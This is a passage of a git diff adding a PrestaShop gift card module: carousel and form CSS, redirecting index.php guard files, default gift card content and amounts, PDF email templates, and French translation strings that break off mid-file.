+#choicegiftcard .jcarousel img { + display: block; + max-width: 100%; + height: auto !important; +} + +/** Carousel Controls **/ +#choicegiftcard .jcarousel-control-prev, +#choicegiftcard .jcarousel-control-next { + position: absolute; + top: 50%; + margin-top: -15px; + width: 30px; + height: 30px; + text-align: center; + background: #fff; + color: #fff; + text-decoration: none; + text-shadow: 0 0 1px #000; + font: 24px/27px Arial, sans-serif; + -webkit-border-radius: 30px; + -moz-border-radius: 30px; + border-radius: 30px; + -webkit-box-shadow: 0 0 4px #000; + -moz-box-shadow: 0 0 4px #000; + box-shadow: 0 0 4px #000; + border-color: #000; +} + +#choicegiftcard .jcarousel-control-prev { + left: 5px; +} + +#choicegiftcard .jcarousel-control-next { + right: 5px; +} + +/** Carousel Pagination **/ + +#choicegiftcard .jcarousel-pagination { + position: absolute; + bottom: -40px; + left: 50%; + -webkit-transform: translate(-50%, 0); + -ms-transform: translate(-50%, 0); + transform: translate(-50%, 0); + margin: 0; +} + +#choicegiftcard .jcarousel-pagination a { + text-decoration: none; + display: inline-block; + font-size: 11px; + height: 10px; + width: 10px; + line-height: 10px; + background: #fff; + color: #4E443C; + border-radius: 10px; + text-indent: -9999px; + margin-right: 7px; + -webkit-box-shadow: 0 0 2px #4E443C; + -moz-box-shadow: 0 0 2px #4E443C; + box-shadow: 0 0 2px #4E443C; +} + +#choicegiftcard .jcarousel-pagination a.active { + background: #4E443C; + color: #fff; + opacity: 1; + -webkit-box-shadow: 0 0 2px #F0EFE7; + -moz-box-shadow: 0 0 2px #F0EFE7; + box-shadow: 0 0 2px #F0EFE7; +} +/*** END JCAROUSEL ***/ + + + + +/*** FORM GIFT CARD ***/ +#formgiftcard p{ + padding-bottom: 5px; +} +#formgiftcard p.datesendcard{ + margin-top: 5px; +} +#formgiftcard h3.datesendcard{ + background: url("../img/icon/calendar_send.png") no-repeat; + padding-left: 28px !important; + padding-top: 5px; +} +#formgiftcard .input { + color: #3c3c3c; + height: 40px; + font-family: Helvetica, Arial, sans-serif; + font-weight: 500; + border-radius: 0; + line-height: 16px; + background-color: #fff; + padding: 13px 13px 13px 54px; + margin-bottom: 10px; + width: 100%; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + -ms-box-sizing: border-box; + box-sizing: border-box; + border-style: solid; + border-width: 1px; + border-color: #dedede; + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; + -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; + transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, color + 0.15s linear 0s; + -webkit-transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, + color 0.15s linear 0s; + -moz-transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, + color 0.15s linear 0s; + -o-transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, color + 0.15s linear 0s; +} + +#formgiftcard .input:focus { + box-shadow: 0; + border: 1px solid #000; + color: #000; + outline: none; +} + + +/* Icons */ +#formgiftcard input.input_user_to{ + background-image: url(../img/icon/user_to.png); + background-size: 30px 27px; + background-position: 11px 8px; + background-repeat: no-repeat; +} +#formgiftcard input.input_user_to:focus{ + background-image: url(../img/icon/user_to_active.png); +} +#formgiftcard input.input_user_from{ + background-image: url(../img/icon/user_from.png); + background-size: 30px 27px; + background-position: 11px 8px; + background-repeat: no-repeat; +} +#formgiftcard input.input_user_from:focus{ + background-image: url(../img/icon/user_from_active.png); +} +#formgiftcard .textarea_comment{ + background-image: url(../img/icon/pen.png); + background-size: 30px 30px; + background-position: 11px 8px; + background-repeat: no-repeat; +} +#formgiftcard .textarea_comment:focus{ + background-image: url(../img/icon/pen_active.png); +} + + +#formgiftcard input.email { + background-image: url(../img/icon/mail.png); + background-size: 29px 19px; + background-position: 11px 12px; + background-repeat: no-repeat; +} + +#formgiftcard input.email:focus { + background-image: url(../img/icon/mail_active.png); +} + +#formgiftcard textarea.textarea_comment { + width: 100%; + height: 150px; + line-height: 150%; + resize: vertical; +} + + + +#formgiftcard select{ + height: 28px; +} +#formgiftcard .submit_button { + float: left; + width: 50%; + border: #fbfbfb solid 8px; + cursor: pointer; + background-color: grey; + color: white; + font-size: 16px; + padding-top: 10px; + padding-bottom: 10px; + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + transition: all 0.3s; + font-weight: 700; +} + +#formgiftcard .submit_button:hover { + background: no-repeat 10px 9px #000; + +} + + +/*** END FORM GIFT CARD ***/ + +/*AJAX OVERLAY*/ +#choicegiftcard div.ui-loader-background { + width: 100%; + height: 100%; + top: 0; + margin: 0; + background-image: url('../img/ajax-loader.gif'); + background-repeat: no-repeat; + background-position: center; + background-color: rgb(0, 0, 0); + /* RGBa with 0.6 opacity */ + background-color: rgba(0, 0, 0, 0.6); + /* For IE 5.5 - 7*/ + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, + endColorstr=#99000000); + /* For IE 8*/ + -ms-filter: + "progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000)"; + position: absolute; + z-index: 1000; + display: none; +} + +#choicegiftcard .ui-loading .ui-loader-background { + display: block; +} +/*END AJAX OVERLAY*/ + +body.ui-mobile-viewport div#module-giftcard-choicegiftcard.ui-page div#content.ui-content{ + box-sizing:border-box !important; + -webkit-box-sizing:border-box; + -moz-box-sizing:border-box; + -khtml-box-sizing:border-box; + -o-box-sizing:border-box; +} \ No newline at end of file diff --git a/modules/giftcard/css/giftcard.css b/modules/giftcard/css/giftcard.css new file mode 100755 index 0000000..0bb8b22 --- /dev/null +++ b/modules/giftcard/css/giftcard.css @@ -0,0 +1,6 @@ +#giftcard_block p.link_gift_cards{ + background:url(../img/icon/giftcard_block.png) no-repeat; + padding-left:50px; + padding-top:5px; + height:30px; +} \ No newline at end of file diff --git a/modules/giftcard/css/giftcardorder.css b/modules/giftcard/css/giftcardorder.css new file mode 100755 index 0000000..02b5aa1 --- /dev/null +++ b/modules/giftcard/css/giftcardorder.css @@ -0,0 +1,78 @@ +ul.info_message{ + list-style: none; + overflow-y: auto; + height: 50px; +} +ul.info_message li{ + border-bottom:1px dashed #CECECE; + font-size: 10px; +} +ul.info_message li span.info_date{ + font-weight:bold; + font-style: italic; + padding-right:3px; +} +/*CUSTOM FIELD*/ +td.viewgifcardcustomopen { + border:1px solid #ccc !important; +} +div.giftcard_custom_fields{ + + background-color:#F3E2A9; +} +div.giftcard_custom_fields table{ + width:100%; + background-color:#FFF; +} +td.line_giftcard_customfields{ + border-top:1px solid #ccc; !important; + background-color:#f8f8f8; +} + +div.giftcard_custom_fields table tr td.title_header{ + font-size: 16px; + font-weight: normal; + overflow: hidden; + line-height: 25px; + height: 25px; + margin: 0; + padding: 5px 10px; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + border-bottom: 1px solid #ccc; +} +div.giftcard_custom_fields table tr td.label{ + width:150px; +} +/*MEANING STATUS*/ +#giftcardstatus{ + +} +#giftcardstatus h3{ + font-size: 16px; + font-weight: normal; + overflow: hidden; + line-height: 25px; + height: 25px; + margin: 0; + padding: 5px 10px; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + border-bottom: 1px solid #ccc; +} +#giftcardstatus .block{ + float: right; + margin: 0 10px 10px 0; + min-height: 178px; + width: 45%; + border: 1px solid #ccc; + background-color: #f8f8f8; + min-height: 178px; +} +#giftcardstatus table.table td.label{ + color:white; + text-align:center; + width:150px; + text-transform:uppercase; + font-weight:bold; +} \ No newline at end of file diff --git a/modules/giftcard/css/index.php b/modules/giftcard/css/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/css/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/en/content.html b/modules/giftcard/datadefault/frontcontent/en/content.html new file mode 100755 index 0000000..dcd55b5 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/en/content.html @@ -0,0 +1,4 @@ +

        Gift card

        +

        Indulge your loved ones in a few clicks! Anniversary, Valentine's Day, Wedding, Christmas...
        +Send a personalized gift card by e-mail to the address of your choice.
        +The amount is then available as a voucher on our entire site.

        \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/en/index.php b/modules/giftcard/datadefault/frontcontent/en/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/en/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/es/content.html b/modules/giftcard/datadefault/frontcontent/es/content.html new file mode 100755 index 0000000..dcd55b5 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/es/content.html @@ -0,0 +1,4 @@ +

        Gift card

        +

        Indulge your loved ones in a few clicks! Anniversary, Valentine's Day, Wedding, Christmas...
        +Send a personalized gift card by e-mail to the address of your choice.
        +The amount is then available as a voucher on our entire site.

        \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/es/index.php b/modules/giftcard/datadefault/frontcontent/es/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/es/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/fr/content.html b/modules/giftcard/datadefault/frontcontent/fr/content.html new file mode 100755 index 0000000..e527ac0 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/fr/content.html @@ -0,0 +1,4 @@ +

        Carte cadeau

        +

        Faites plaisir à vos proches en quelques cliques! Anniversaire, Saint Valentin, mariage, Noël où toutes autres occasions...
        + Envoyez une carte personnalisée par e-mail à l'adresse de votre choix.
        + Le montant est ensuite disponible sous forme de bon d’achat sur l'ensemble de notre site.

        \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/fr/index.php b/modules/giftcard/datadefault/frontcontent/fr/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/fr/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/frontcontent/index.php b/modules/giftcard/datadefault/frontcontent/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/frontcontent/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/giftcard/giftcards.xml b/modules/giftcard/datadefault/giftcard/giftcards.xml new file mode 100755 index 0000000..ab209cd --- /dev/null +++ b/modules/giftcard/datadefault/giftcard/giftcards.xml @@ -0,0 +1,100 @@ + + + + + Carte cadeau 30 + Gift card 30 + Tarjeta regalo 30 + + 30 + 12 + 99999 + 0 + 1 + + + + Carte cadeau 50 + Gift card 50 + Tarjeta regalo 50 + + 50 + 12 + 99999 + 1 + 1 + + + + Carte cadeau 75 + Gift card 75 + Tarjeta regalo 75 + + 75 + 12 + 99999 + 0 + 1 + + + + Carte cadeau 150 + Gift card 150 + Tarjeta regalo 150 + + 150 + 12 + 99999 + 0 + 1 + + + + Carte cadeau 200 + Gift card 200 + Tarjeta regalo 200 + + 200 + 12 + 99999 + 0 + 1 + + + + Carte cadeau 300 + Gift card 300 + Tarjeta regalo 300 + + 300 + 12 + 99999 + 0 + 1 + + + + + Carte cadeau 400 + Gift card 400 + Tarjeta regalo 400 + + 400 + 12 + 99999 + 0 + 1 + + + + Carte cadeau 500 + Gift card 500 + Tarjeta regalo 500 + + 500 + 12 + 99999 + 0 + 1 + + \ No newline at end of file diff --git a/modules/giftcard/datadefault/giftcard/index.php b/modules/giftcard/datadefault/giftcard/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/giftcard/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/index.php b/modules/giftcard/datadefault/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/pdf/en/index.php b/modules/giftcard/datadefault/pdf/en/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/pdf/en/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/pdf/en/pdfcontent.html b/modules/giftcard/datadefault/pdf/en/pdfcontent.html new file mode 100755 index 0000000..0464993 --- /dev/null +++ b/modules/giftcard/datadefault/pdf/en/pdfcontent.html @@ -0,0 +1,77 @@ + + + + + + + + + + + + + + + +
        +
         
        Hello {$card_lastname}!
        You have received a {$card_price} Gift Card from {$card_from}! You can use the card + on {$shop_name}.
        Happy shopping!
        +

        {$card_image}

        +
        + + + + + + + + + + + + +
        Message from {$card_from}
        {$card_message}
        +
        + + + + + + + + + + + + + + + + + + + + + +
        GIFT CARD INFORMATION
        Amount{$card_price}
        Code{$card_code}
        Expirate date{$card_expirate}
        +
        + + + + + + + + + + + + +
        TO USE THE GIFT CARD
        Here is the code of your gift card {$card_code}
        + Simply copy/paste this code during the payment process for your next + order.
        Happy shopping! +
        \ No newline at end of file diff --git a/modules/giftcard/datadefault/pdf/es/index.php b/modules/giftcard/datadefault/pdf/es/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/pdf/es/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/pdf/es/pdfcontent.html b/modules/giftcard/datadefault/pdf/es/pdfcontent.html new file mode 100755 index 0000000..e69de29 diff --git a/modules/giftcard/datadefault/pdf/fr/index.php b/modules/giftcard/datadefault/pdf/fr/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/pdf/fr/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/datadefault/pdf/fr/pdfcontent.html b/modules/giftcard/datadefault/pdf/fr/pdfcontent.html new file mode 100755 index 0000000..f4615e3 --- /dev/null +++ b/modules/giftcard/datadefault/pdf/fr/pdfcontent.html @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + +
        +
         
        Bonjour {$card_lastname}!
        Vous avez reçu une carte cadeau d'un montant de {$card_price} de la part de {$card_from}! Vous pouvez l'utiliser + sur {$shop_name}.
        Bon achat sur {$shop_name}!
        +

        {$card_image}

        +
        + + + + + + + + + + + + +
        Message de la part {$card_from}
        {$card_message}
        +
        + + + + + + + + + + + + + + + + + + + + + +
        Information de la carte cadeau
        Montant{$card_price}
        Code{$card_code}
        Date d'expiration{$card_expirate}
        +
        + + + + + + + + + + + + +
        Pour bénéficier de la carte cadeau
        Voici le code de votre carte cadeau : {$card_code}
        + Copiez-collez ce numéro dans le panier de votre prochain achat avant de régler la commande. +
        \ No newline at end of file diff --git a/modules/giftcard/datadefault/pdf/index.php b/modules/giftcard/datadefault/pdf/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/datadefault/pdf/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/en.php b/modules/giftcard/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/giftcard/fr.php b/modules/giftcard/fr.php new file mode 100755 index 0000000..8ddfe2b --- /dev/null +++ b/modules/giftcard/fr.php @@ -0,0 +1,285 @@ +giftcard_1306bade25c9c93111838baadc58300e'] = 'Carte cadeau'; +$_MODULE['<{giftcard}prestashop>giftcard_d40214132346a2504826a86d78537fea'] = 'Ajouter les fonctionnalités nécessaires à la création, la gestion et l\'utilisation de Cartes Cadeaux.'; +$_MODULE['<{giftcard}prestashop>giftcard_e246f4b8528e9f8a35da46c5d5ddcf8d'] = 'Êtes-vous sûr de désinstaller le module Carte Cadeau, toutes les informations enregistrées concernant vos cartes cadeaux seront supprimées?'; +$_MODULE['<{giftcard}prestashop>giftcard_0fa8a70346c001cac62d1ac570913aee'] = 'Erreur modification règle panier'; +$_MODULE['<{giftcard}prestashop>giftcard_de4d08dc84236d0e32d5681ec97ee205'] = 'Carte cadeau annulée par l\'employé'; +$_MODULE['<{giftcard}prestashop>giftcard_81febf8a9afdddd877d3a5c3a789ff77'] = 'Erreur modification commande carte cadeau'; +$_MODULE['<{giftcard}prestashop>giftcard_66f0ef867594276958d1cb4443095e8e'] = 'Carte cadeau annulée avec succès'; +$_MODULE['<{giftcard}prestashop>giftcard_16a8ec0de739e4eb4a11b8e1f68d4ea4'] = 'Carte cadeau annulée par l\'employé'; +$_MODULE['<{giftcard}prestashop>giftcard_2f9610c6d671e71036f809438d0695db'] = 'Carte cadeau activée avec succès'; +$_MODULE['<{giftcard}prestashop>giftcard_093bd766e02355e46047089915591aaa'] = 'Le champs \'%s\' est requis dans la langue défaut'; +$_MODULE['<{giftcard}prestashop>giftcard_87cb10e31a76773bff5703290f18db7f'] = 'Texte front office'; +$_MODULE['<{giftcard}prestashop>giftcard_8b26ad25d2822cc08450d26c7582ddf8'] = 'Libellé \'Modèle\''; +$_MODULE['<{giftcard}prestashop>giftcard_a38feabd83f0c880aee942fef26450a2'] = 'Libellé \'De la part\''; +$_MODULE['<{giftcard}prestashop>giftcard_093b3e30c3d889cb5c38963380b64e5e'] = 'Libellé \'Nom\''; +$_MODULE['<{giftcard}prestashop>giftcard_d0f2e15ee0c41c09e89d30913b725fdf'] = 'Libellé du mail destinataire'; +$_MODULE['<{giftcard}prestashop>giftcard_7478227d4f5c203704e5965bc563f686'] = 'Libellé date d\'envoi'; +$_MODULE['<{giftcard}prestashop>giftcard_a404a948ccc05cb73875edec8e310a82'] = 'Libellé du message'; +$_MODULE['<{giftcard}prestashop>giftcard_9ac7e1a040282f569665dbe226119617'] = 'Sujet mail destinataire'; +$_MODULE['<{giftcard}prestashop>giftcard_1322b48419520ac26e09886583a1af60'] = 'Sujet mail client'; +$_MODULE['<{giftcard}prestashop>giftcard_540431e2b3234a8698b4044f15ef1fff'] = 'Contenu du PDF'; +$_MODULE['<{giftcard}prestashop>giftcard_3425f58dd6ae2ed157078a2826f5805d'] = 'Préfixe du PDF'; +$_MODULE['<{giftcard}prestashop>giftcard_fe5d926454b6a8144efce13a44d019ba'] = 'Valeur de la configuration invalide'; +$_MODULE['<{giftcard}prestashop>giftcard_c888438d14855d7d96a2724ee9c306bd'] = 'Configuration mis à jour'; +$_MODULE['<{giftcard}prestashop>giftcard_52bb80bdcba46b3da1bc035dc1cda14a'] = 'Le modèle de défaut d\'une carte cadeau est requis avant de prévisualiser le PDF'; +$_MODULE['<{giftcard}prestashop>giftcard_b199395320caa27891817267d89dc941'] = 'L\'extension Imagick est bien installé vous pouvez utiliser les modèles génériques'; +$_MODULE['<{giftcard}prestashop>giftcard_b1dc4c61e0a8922a139d8445af968ec6'] = 'Pour utiliser les modèles génériques, vous devez installer Imagick, Imagick est une extension PHP populaire et gratuite.'; +$_MODULE['<{giftcard}prestashop>giftcard_7a1a5f3e79fdc91edf2f5ead9d66abb4'] = 'Lire la documentation '; +$_MODULE['<{giftcard}prestashop>giftcard_f07964d4a74775e4df6f427844a0f7f9'] = 'avant d\'utiliser.'; +$_MODULE['<{giftcard}prestashop>giftcard_5e0e96c340e4fad4f565925b3d22f70e'] = 'Front Office et configuration'; +$_MODULE['<{giftcard}prestashop>giftcard_716de874a0d74f25c0aa8c444c3a7539'] = 'Préfixe'; +$_MODULE['<{giftcard}prestashop>giftcard_456b2cfb7922b7ae1736c9ae8c275256'] = 'Préfixe utilisé pour le code de la carte cadeau (exemple GC-****************)'; +$_MODULE['<{giftcard}prestashop>giftcard_d71d93a69eb26b398386d5b7d11f5287'] = 'Texte front office'; +$_MODULE['<{giftcard}prestashop>giftcard_6252c0f2c2ed83b7b06dfca86d4650bb'] = 'Caractères invalides :'; +$_MODULE['<{giftcard}prestashop>giftcard_a7602ab06be59e7a03987c4cfb24058d'] = 'Hauteur de l\'image'; +$_MODULE['<{giftcard}prestashop>giftcard_1339048df2e20ea5288c9dfad8fdceb3'] = 'Hauteur de la carte sur le front office'; +$_MODULE['<{giftcard}prestashop>giftcard_a8fde07458ccdab6b273bbf04333bc8f'] = 'Largeur de l\'image'; +$_MODULE['<{giftcard}prestashop>giftcard_7a5f3f16f0e188c4405d53e614dbe1fe'] = 'Largeur de l\'image de la carte sur le front office'; +$_MODULE['<{giftcard}prestashop>giftcard_f347146b3917e857e672cc882b30bb83'] = 'Hauteur de la grande image de la carte sur le front office'; +$_MODULE['<{giftcard}prestashop>giftcard_41c508faa4b1093035da435342cca308'] = 'Largeur de la grande image de la carte sur le front office'; +$_MODULE['<{giftcard}prestashop>giftcard_a4bb440d400f4dc30f148b44d08680b4'] = 'Caractère invalide : nombre et '; +$_MODULE['<{giftcard}prestashop>giftcard_4c475566b05830fe1becc2968b859a44'] = 'Sera affiché dans le récapitulatif du panier du client ainsi que sur la facture.'; +$_MODULE['<{giftcard}prestashop>giftcard_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}prestashop>giftcard_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{giftcard}prestashop>giftcard_a73d6de793fdfa05ae0c8abc1e7e1a83'] = 'Objet du mail'; +$_MODULE['<{giftcard}prestashop>giftcard_b9ce1a90d4b2951ad677679934a225e8'] = 'Reçu par le client qui a acheté la carte cadeau'; +$_MODULE['<{giftcard}prestashop>giftcard_8b68b9b8947d8c43e4473fb6b26db02c'] = 'Reçu par le bénéficiaire de la carte cadeau'; +$_MODULE['<{giftcard}prestashop>giftcard_743ce28a7b4538ada4839ae30b6f08b9'] = 'Largeur de l\'image dans le mail'; +$_MODULE['<{giftcard}prestashop>giftcard_4bd5caa937e5ee3d604165f19adbdc10'] = 'Hauteur de l\'image dans le mail'; +$_MODULE['<{giftcard}prestashop>giftcard_e4204641574e4827600356b4dcacd276'] = 'Pdf'; +$_MODULE['<{giftcard}prestashop>giftcard_dda67b9cc50c6a3b32936683766e1315'] = 'Préfixe du PDF'; +$_MODULE['<{giftcard}prestashop>giftcard_f089f3f4b3493ac896d31577d61daa17'] = 'Préfix utilisé pour le PDF de la carte cadeau (ex:CARTECADEAU-000001.pdf)'; +$_MODULE['<{giftcard}prestashop>giftcard_a79b1e3dec03fced486c23e2ac306633'] = 'Contenu du PDF :'; +$_MODULE['<{giftcard}prestashop>giftcard_511abdceacdd1ab2ef7a756c0688e7df'] = 'Largeur de l\'image dans le PDF généré'; +$_MODULE['<{giftcard}prestashop>giftcard_dc9ff72d2460e94ad662d5b504e19dd0'] = 'Hauteur de l\'image dans le PDF généré'; +$_MODULE['<{giftcard}prestashop>giftcard_8d9dbc5efc2854b69ead4392d437dcaa'] = 'Aperçu PDF langue'; +$_MODULE['<{giftcard}prestashop>giftcard_868c3cae8d298099ede633c6467cd11f'] = 'Utile pour voir le résultat'; +$_MODULE['<{giftcard}prestashop>giftcard_0329ecfebf243e2ccd63bc5b22d3d5b1'] = 'Sauvegarder et prévisualiser'; +$_MODULE['<{giftcard}prestashop>giftcard_5b03afbaa4a4d07923936a580fce236c'] = 'Pour les clients qui ont cochés une date de livraison spécifique de la carte cadeau au moment de l\'achat. Un processus est lancé tous les jours pour vérifier les cartes cadeaux à envoyer. '; +$_MODULE['<{giftcard}prestashop>giftcard_44ddeefbd5452a630bff87d510e1bae9'] = 'Premier visiteur'; +$_MODULE['<{giftcard}prestashop>giftcard_3a408ecbacd3ffd486364a77e822a38f'] = 'Quand le premier 